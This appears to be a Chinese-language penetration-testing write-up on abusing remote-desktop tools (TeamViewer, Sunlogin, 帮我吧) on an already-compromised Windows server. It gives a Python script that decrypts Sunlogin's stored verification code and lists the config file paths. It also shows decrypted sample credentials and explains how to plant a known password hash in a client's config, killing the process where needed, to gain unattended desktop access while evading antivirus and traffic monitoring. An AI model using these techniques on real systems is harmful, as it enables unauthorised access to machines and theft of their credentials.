简介
对渗透中遇到的远控类软件的利用方式整理。
靶机环境
操作系统:windows server 2012
中间件:tomcat
杀软:卫士+杀毒
默认权限:administrator
Teamviewer
实战中经常遇到的一款远控软件,用户数量高。
可以通过ID和密码进行无人值守访问。
进程信息:
TeamViewer.exe
tv_w32.exe
tv_x64.exe
内存getpass
利用场景:拿到webshell权限,想上线cs,发现主机存在杀软,bypass失败。
通过查看进程信息发现存在Teamviewer。
管理员在线。
上传工具读取密码。
利用获取到的密码成功连接到目标主机的桌面。
绿色版Teamviewer
TeamViewer QuickSupport版
首次运行需要同意协议。
实战使用需要把首次运行同意协议步骤进行绕过,然后上传到目标主机运行,然后抓取密码连接,感兴趣的可以研究下。
向日葵
利用场景:查看进程发现存在向日葵,寻找配置文件,破解本机验证码,连接向日葵。
进程信息:
本机验证码读取
向日葵在最近的更新中加强了加密机制,删除了config.ini中的encry_pwd(本机验证码)。
v11.1.2.38529之前的版本,连接信息保存在配置文件中,可进行解密。
向日葵默认配置文件路径:
安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini
解密脚本
pip3 install unicorn
import base64
import struct
from ConstCode import *
class KeyBlock:
__base = "%^$^GHsgjdsad24dffgjkdhw4"
__key: bytes = None
@staticmethod
def new_block(sun_login_code: str = ""):
if len(sun_login_code) > 31:
raise Exception("invalid key")
result = KeyBlock()
temp = sun_login_code + result.__base
size = struct.pack("<I", len(temp))
for i in range(56 - len(temp)):
temp += "\x00"
result.__key = bytes(temp.encode() + size)
return result
def get_result(self) -> bytes:
return self.__key
class Init(Base):
__key: bytes = None
def __init__(self, key_block: KeyBlock):
self.__key = key_block.get_result()
super().__init__()
def on_create(self):
obj = self._get_handle()
obj.mem_map(self._code_ptr, align(len(init_code)))
obj.mem_write(self._code_ptr, init_code)
obj.mem_map(self._data_ptr, 0x2000)
obj.mem_write(self._data_ptr, bytes(self.__key))
obj.reg_write(unicorn.x86_const.UC_X86_REG_RCX, self._data_ptr)
def get_result(self) -> bytes:
return bytes(self._get_handle().mem_read(self._data_ptr + 60, 0x2000 - 60))
class Decrypt(Base):
__save_ptr = 0x100000
def __init__(self, encoded_data, box):
self.__encoded_data = encoded_data
self.__box = box
super().__init__()
def on_create(self):
obj = self._get_handle()
obj.mem_map(self._code_ptr, align(len(decrypt_code)))
obj.mem_write(self._code_ptr, decrypt_code)
obj.mem_map(self._data_ptr, 0x2000)
obj.mem_write(self._data_ptr, self.__box)
obj.reg_write(unicorn.x86_const.UC_X86_REG_RDX, self._data_ptr)
obj.mem_map(self.__save_ptr, align(len(self.__encoded_data)))
obj.mem_write(self.__save_ptr, self.__encoded_data)
obj.reg_write(unicorn.x86_const.UC_X86_REG_R8, self.__save_ptr)
obj.reg_write(unicorn.x86_const.UC_X86_REG_R9, int(len(self.__encoded_data) / 8))
def get_result(self) -> bytes:
return self._get_handle().mem_read(self.__save_ptr, len(self.__encoded_data))
encry_pwd = 'rwOCS8ozdLo='
print("解密成功: "+Decrypt(base64.b64decode(encry_pwd),
Init(KeyBlock.new_block('')).start()).start().decode())
绿色版利用
利用场景:
1、杀软白名单策略,常规免杀方法无法绕过。
2、存在流量设备,常规frp,nps,cs,reGeorg等被ban,无法带入内网。
向日葵首次运行提示是否安装。
需要鼠标点击以绿色版运行
使用bypass方法绕过,上传SunloginClient.exe到靶机服务器运行。
查看绿色版配置文件
C:\ProgramData\Oray\SunloginClient\config.ini
encry_pwd=TB0W65ETAR4=
fastcode=k165034706
使用脚本破解encry_pwd
识别码为:165034706
密码为:LlOa4Z
连接成功。
帮我吧
北京金万维科技有限公司开发的一款产品,分为客服端和客户端。
可以通过设置连接密码进行无人值守访问。
进程信息:
UserClient.exe
配置文件默认路径
C:\GNWay\OSP\UserClient\config.ini
uniqueid 为连接的id
connect_password= 为设置的连接密码加密hash
random_password= 为明文连接密码
2个密码都可以连接使用
默认安装后未设置连接密码,不支持无人值守访问。
高版本
特点:运行过程中动态加载配置文件
利用方式:直接在配置文件中添加连接密码,进行无人值守访问。
1、设置random_password=666666
重新连接,输入设置的密码信息。
连接成功。
2、设置random_password
本地搭建客户端,设置连接密码999999。
查看本地配置文件中加密后的hash为
connect_password=5eec351934af7678a852ade9efc74133
修改目标主机的配置文件中的参数连接即可。
connect_password为5eec351934af7678a852ade9efc74133
低版本
特点:只在开始运行时加载配置文件
无random_password只能通过修改connect_password连接。
利用方式:结束进程,修改配置文件,重新运行。
1、结束进程
taskkill /pid 84636 -t -f
2、修改配置文件内容
connect_password为5eec351934af7678a852ade9efc74133(999999)
3、重新启动即可用密码连接。
坑点
1、uac
非server服务器运行向日葵需要bypass uac
2、用户不在线的情况,需要密码登录。
这个点导致利用起来比较鸡肋,适用于隧道流量无法绕过等一些极端情况,可以选择免杀读密码/免杀加用户然后登录。
总结
整理了最近遇到的几个内网远控存在利用的点,利用相对鸡肋,适用于某些极端情况下使用。